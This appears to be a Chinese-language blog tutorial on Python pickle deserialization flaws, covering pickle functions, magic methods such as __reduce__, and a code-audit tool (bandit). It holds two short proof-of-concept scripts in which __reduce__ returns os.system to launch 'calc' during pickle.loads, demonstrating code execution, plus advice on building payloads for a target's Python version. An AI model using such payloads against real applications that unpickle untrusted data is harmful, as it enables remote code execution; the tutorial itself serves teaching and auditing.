python 反序列化漏洞

折翼的小鸟先生發表於2024-05-12

python 反序列化

前言:python反序列化相比java反序列化,更接近於php反序列化

1.0 python 中的序列化函式

**1. **pickle.dump(obj , file)

將物件序列化後儲存在檔案中

2. pickle.load(file)

將檔案中序列化內容反序列化為物件

**3. **pickle.dumps(obj)

將物件序列化後返回,返回的是字串形式的位元組流

**4. **pickle.loads(bytes)

1.1 python中的魔術方法

1 __reduce__

該魔術方法在反序列化時呼叫

下面是一個例子:

import pickle
import os


class A:
    def __reduce__(self):
        print("111")
        return (os.system, ('calc',))


a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print(p_a)

其中return的內容是受到限制的,在return中寫的內容會在pickle.loads,也就是反序列化時

被執行。

2 __init__

本質就是python中的建構函式,在物件被例項化時呼叫

3 __setstate__

反序列化時會呼叫的方法

4 __getstate__

序列化中會被呼叫

給個簡單的利用例子吧

import pickle
import os


class A:
    def __init__(self, fun, arg):
        self.fun = fun
        self.arg = arg

    def __reduce__(self):
        return (self.fun, self.arg)


a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)

如果我們解構函式的值可以控制,利用當前程式碼段就可以達成rce的成果

python的反序列化和java,php的反序列化還不是很一樣,在反序列化應用時並不需要把類

寫出來,只需要你的物件中有魔術方法就可以直接執行

我們在寫python 反序列化payload時,需要注意web應用所使用的python版本,如果web

應用使用的是python3,那我們也得使用python3去執行生成,如果使用的是python2 ,那

也要使用對應的版本去生成payload

我們在對python程式碼進行程式碼審計時可以使用程式碼審計工具,比如bandit

可以使用pip install bandit來進行安裝

在安裝後會在Pythonz目錄中增加一個.exe或者無字尾的可執行檔案

在命令列 加上-r 分析程式碼地址即可進行程式碼分析

相關文章